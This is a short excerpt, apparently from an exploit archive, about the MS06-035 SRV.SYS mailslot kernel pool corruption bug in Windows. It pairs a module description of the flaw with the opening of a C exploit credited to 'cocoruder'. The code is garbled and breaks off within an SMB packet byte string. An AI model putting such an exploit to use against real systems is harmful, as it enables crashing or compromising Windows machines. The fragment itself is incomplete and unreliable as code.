Microsoft SRV.SYS Mailslot Write Corruption

This module triggers a kernel pool corruption bug in SRV.SYS. Each call to the mailslot write function results in a two byte return value being written into the response packet. The code which creates this packet fails to consider these two bytes in the allocation routine, resulting in a slow...

ms06-035-coco.txt

include include include / Microsoft SRV.SYS Mailslot Ring0 Memory CorruptionMS06-035 Exploit by cocoruderfrankruderathotmail.com,2006.7.19 page:http://ruder.cdut.net / unsigned char SmbNeg = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00"...